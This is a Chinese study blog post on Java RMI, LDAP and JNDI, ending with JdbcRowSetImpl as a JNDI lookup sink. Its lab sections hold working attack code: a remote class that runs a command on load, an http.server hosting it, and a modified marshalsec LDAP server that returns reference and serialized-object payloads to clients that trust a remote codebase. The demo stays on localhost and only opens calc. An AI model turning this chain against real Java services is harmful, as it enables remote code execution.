RMI、LDAP、JNDI及JdbcRowSetImpl利用

一、一些概念-RMI、LDAP、JNDI

以前学过发现又有点忘了,温故而知新嘛,重新学下…

1、RMI

Java RMI(Java Remote Method Invocation),即Java远程方法调用。是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。能直接传输序列化后的Java对象和分布式垃圾收集。它的实现依赖于Java虚拟机,因此它仅支持从一个JVM到另一个JVM的调用.

回顾下:https://rita888.github.io/2020/06/14/Java%20RMI/

RMI有一个重要的特性是动态类加载机制,当本地CLASSPATH中无法找到相应的类时,会在指定的codebase里加载class。

codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。

简而言之RMI总共三个部分:

  • Registry: 注册服务 提供服务注册与服务获取。即Server端向Registry注册服务,比如地址、端口等一些信息,Client端从Registry获取远程对象的一些信息,如地址、端口等,然后进行远程调用。
  • Server: 远程方法的提供者,并向Registry注册自身提供的服务
  • Client: 远程方法的消费者,从Registry获取远程方法的相关信息并且调用

2、LADP

LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议
目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就x像它的名字一样。LDAP目录服务是由目录数据库和一套访问协议组成的系统。

以下LDAP相关知识参考:https://www.cnblogs.com/wilburxu/p/9174353.html及https://zhuanlan.zhihu.com/p/32732045。

image-20210811105553972

LDAP信息模型:

在LDAP中信息以树状方式组织,在树状信息中的基本数据单元是条目,而每个条目[Entry]由属性[Attribute]构成,属性中存储有属性值[Value];LDAP中的信息模式,类似于面向对象的概念,在LDAP中每个条目必须属于某个或多个对象类(Object Class),每个Object Class由多个属性类型组成,每个属性类型有所对应的语法和匹配规则;对象类和属性类型的定义均可以使用继承的概念。每个条目创建时,必须定义所属的对 象类,必须提供对象类中的必选属性类型的属性值,在LDAP中一个属性类型可以对应多个值。

如上图就是一个LDAP目录树,目录树中一些具体的概念:

  1. 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目;
  2. 条目:上图的每个椭圆就是一个条目,一个条目有若干个属性和若干个值,有些条目还能包含子条目。每个条目有自己的唯一可区别的名称(DN),如图中的左下角条目,其别名DN就是uid=songtao.xu,ou=hr,dc=foo,dc=example,dc=com
  3. 对象类:某个实体类型对应的一组属性,对象类封装了必选的属性和可选的属性,同时对象类也是支持继承的。通过对象类可以很方便地指定条目的类型,一个条目也可以绑定多个对象类。如图HumanResourcesProfessional就是一个对象类,代表人力资源管理师的类;
  4. 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性。

互联网命名组织架构使用的关键字:

关键字 英文全称 含义
dc Domain Component 域名的部分,其格式是将完整的域名分成几部分,如域名为example.com变成dc=example,dc=com(一条记录的所属位置)
ou Organization Unit 组织单位,组织单位可以包含其他各种对象(包括其他组织单元),如“oa组”(一条记录的所属组织)
uid User Id 用户ID songtao.xu(一条记录的ID)
cn Common Name 公共名称,如“Thomas Johansson”(一条记录的名称)
sn Surname 姓,如“许”
dn Distinguished Name “uid=songtao.xu,ou=oa组,dc=example,dc=com”,一条记录的位置(唯一)
rdn Relative dn 相对辨别名,类似于文件系统中的相对路径,它是与目录树结构无关的部分,如“uid=tom”或“cn= Thomas Johansson”

Oracle官方说明了几种存储Java对象的方式:

  1. Referenceable objects
  2. java.io.Serializable objects
  3. DirContext objects
  4. Marshalled Objects
  5. java.rmi.Remote
  6. CORBA Object

我们重点看下1、2、4。

1、Referenceable objects
LDAP Attribute Name Content
javaClassName (必须) Object.getClass().getName(),类的全称
javaFactory 工厂类名全称
javaCodebase 指向class定义的位置
javaReferenceAddress 引用地址列表
2、java.io.Serializable objects
LDAP Attribute Name Content
javaClassName(必须) Object.getClass().getName(),类的全称
javaSerializedData (必须) 对象序列化后的数据
javaClassNames 类的所有继承的父类即接口名称列表
javaCodebase 指向class定义的位置
3、Marshalled Objects
LDAP Attribute Name Content
javaClassName (必须) Object.getClass().getName(),类的全称
javaSerializedData(必须) 对象序列化后的数据
javaClassNames 类的所有继承的父类即接口名称列表

3、JNDI

JNDI(Java Naming and Directory Interface)是一组Java命名和目录接口,主要用于将JNDI API映射为特定的命名服务和目录系统,作用就是使Java应用程序可以和这些命名服务和目录服务之间进行交互

JNDI可访问的现有的目录及服务有:

DNS、LDAP、 CORBA对象服务 (公共对象请求代理体系结构)、RMI、文件系统、Windows XP/2000/NT/Me/9x的注册表、DSML v1&v2、NIS、XNam 、Novell目录服务。

如何通过JNDI调用服务?

3步:

  1. 指定需要查找name名称:String jndiName= "jndiName";
  2. 初始化默认环境:Context context = new InitialContext();
  3. 查找该name的数据:context.lookup(jndiName);

二、几个实例及利用方式总结

RMI&JNDI

RMI服务端的远程类Calc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 服务器端实现远程接口。
* 必须继承UnicastRemoteObject,以允许JVM创建远程的存根/代理。
*/
public class Calc extends UnicastRemoteObject implements Icalc {

public Calc() throws RemoteException {
}


public void calc() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

/**
* 服务器端实现远程接口。
* 必须继承UnicastRemoteObject,以允许JVM创建远程的存根/代理。
*/
public class Calc extends UnicastRemoteObject implements Icalc {

public Calc() throws RemoteException {
}


public void calc() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

服务端注册Cacl对象为远程可调用对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* 注册远程对象,向客户端提供远程对象服务。
* 远程对象是在远程服务上创建的,你无法确切地知道远程服务器上的对象的名称,
* 但是,将远程对象注册到RMI Registry之后,
* 客户端就可以通过RMI Registry请求到该远程服务对象的stub,
* 利用stub代理就可以访问远程服务对象了。
*/
public class RmiRegisterServer{
private RmiRegisterServer(String port) throws RemoteException {
Registry registry = LocateRegistry.createRegistry(Integer.parseInt(port));
try {
registry.bind("calculate",new Calc());
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}

public static void main(String[] args) {
try {
new RmiRegisterServer("1999");
System.out.println("RMI服务启动成功...");
} catch (RemoteException e) {
e.printStackTrace();
}
}
}

当服务注册成功,客户端此时可以请求远程服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class RmiClient {
public static void main(String[] args) {
try {
/***********方法1***************************/
// 如果RMI Registry就在本地机器上,URL就是:rmi://localhost:1099/hello
// 否则,URL就是:rmi://RMIService_IP:1099/hello
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1999);
// 从Registry中检索远程对象的存根/代理
// 查找名为calculate的服务,这里必须是Icalc不能是Calc
Icalc calculate = (Icalc) registry.lookup("calculate");
/***********方法2***************************/
// Icalc calculate = (Icalc) Naming.lookup("rmi://localhost:1999/calculate");
// 调用远程对象的方法
calculate.calc();
} catch (RemoteException e) {
e.printStackTrace();
} catch (NotBoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}

利用上面的例子,改为从JNDI获取RMI远程对象Calc,方法就是上面提过的3步法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class JndiAndRmi {
public static void main(String[] args) {
try {
test();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void test(){
String uri = "rmi://localhost:1999/calculate";
try {
Context ctx = new InitialContext();
Icalc icalc = (Icalc) ctx.lookup(uri);
icalc.calc();
} catch (NamingException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}

LDAP-Reference&JNDI

创建一个test.java,用作远程恶意类:

test.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//package jndi.ldap; 

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class test implements ObjectFactory {

public test() throws IOException {
Runtime.getRuntime().exec("calc");
}

// 实现ObjectFactory防止cast异常,return一个integer即可
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return new Integer(1);
}
}

创建一个test.class放在一个目录下,在目录下用python3开启一个http服务,记得删除本地的test.java,因为jndi的lookup会优先使用本地的程序找不到才加载远程:

1
2
javac test.java
python -m http.server

利用marshalsec的LDAPRefServer对main方法和sendResult方法稍作改动:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static void main ( String[] args ) {
int port = 1389;
// 这里是刚刚开启的http服务
String url = "http://127.0.0.1:8000/#Calc";
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

其中一段代码我们可以看下,就是上面Referenceable objects提到的几个需要的属性:

javaClassName-类名

javaCodeBase-class字节码文件放置位置 也就是http服务url

javaFactory-工厂类名,this.codebase.getRef()本例中是上面的test,也是为什么要让test继承ObjectFactory,否则会出错

objectClass-javaNamingReference指定使用Java命令引用

image-20210812145214529

记得在pom.xml加上依赖:

1
2
3
4
5
6
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
<scope>compile</scope>
</dependency>

利用Jndi调用ldap的test恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;

public class JndiAndLdap {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

DirContext ctx = new InitialDirContext(env);

Object local_obj = ctx.lookup("cn=foo,dc=example,dc=com");
}
}

LDAP-Serializable

改写marshalsec的LDAPRefServer,其中的序列化存储java对象需要的属性:javaClassNamejavaSerializedDatajavaCodeBase注意修改下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import java.io.File;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URL;
import java.nio.file.Files;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LdapSerServer {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main ( String[] args ) {
int port = 1389;
// if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
// System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
// System.exit(-1);
// }
// else if ( args.length > 1 ) {
// port = Integer.parseInt(args[ 1 ]);
// }
//TODO 序列化一个对象保存
String url = "http://127.0.0.1:8000/";
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
// config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
// 监听,当调用jndi.lookup会自动调用
String base = result.getRequest().getBaseDN();
// 创建一个条目
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
/**
* 序列化 存储java对象需要的属性
* 1、javaClassName
* 2、javaSerializedData
* 3、javaCodeBase
* */
System.out.println("Send LDAP Serialize result for " + base);
e.addAttribute("javaClassName", "foo"); //java class
String cbstring = this.codebase.toString();
e.addAttribute("javaCodeBase", cbstring); //class放置的位置即http服务位置
byte[] javaSerializedData = Files.readAllBytes(new File("E:\\ser.txt").toPath()); //读取序列化文件
e.addAttribute("javaSerializedData", javaSerializedData); //序列化数据
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

客户端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;

public class LdapSerClient {
public static void main(String[] args) throws NamingException, IOException {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
Context ctx = new InitialContext();
test object = (test) ctx.lookup("ldap://127.0.0.1:1389/cn=foo,dc=example,dc=com");
System.out.println(object.toString());
object.calc();
}
}

其中序列化的对象类如下:

1
2
3
4
5
6
7
8
9
10
11
12
public class test implements Serializable {

private static final long serialVersionUID = -3858195503738032307L;

public test() throws IOException {
Runtime.getRuntime().exec("calc");
}

public void calc() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

如果使用JNDI跟上面一样的道理,不过需要在sendResult中添加Java命名引用 e.addAttribute("objectClass", "javaNamingReference");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import jndi.ldap.test;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.io.IOException;
import java.util.Hashtable;

public class JndiAndLdap {
public static void main(String[] args) throws NamingException, IOException {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

DirContext ctx = new InitialDirContext(env);

test local_obj = (test) ctx.lookup("cn=foo,dc=example,dc=com");
System.out.println(local_obj.toString());
local_obj.calc();
}
}

利用方式总结:

JNDI可以通过InitialContext.lookup查找LDAP或RMI服务,LDAP可通过Referenceable objects方式存储Java对象。进一步调用远程HTTP服务下的恶意class文件,而RMI直接可调用注册在Registry中的远程对象。

image-20210812201948869

三、JdbcRowSetImpl

JdbcRowSetImpl继承自javax.sql.rowset.JdbcRowSetJdbcRowSet是一个连接的行集,也就是说,它使用支持JDBC技术的驱动程序不断维护与数据库的连接。

JdbcRowSetImpl连接数据库时,会调用InitialContext.lookup方法来处理远程对象。lookup方法的参数通过this.getDataSourceName()获取,我们可以通过setDataSourceName设置这个参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
// 调用InitialContext.lookup
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

在三个地方调用了connect方法

image-20210812163219123

因此我们可以通过这三个方法来间接调用到InitialContext.lookup,当lookup参数设置成上面的rmi或ldap地址,或许我们就可以进行利用。

四、参考链接:

https://zhuanlan.zhihu.com/p/73428357
https://paper.seebug.org/1207/#jndi
https://zhuanlan.zhihu.com/p/32732045
https://xz.aliyun.com/t/7079
https://docs.oracle.com/javase/8/docs/api/javax/sql/rowset/JdbcRowSet.html
https://docs.oracle.com/cd/E17824_01/dsc_docs/docs/jscreator/apis/rowset/com/sun/rowset/JdbcRowSetImpl.html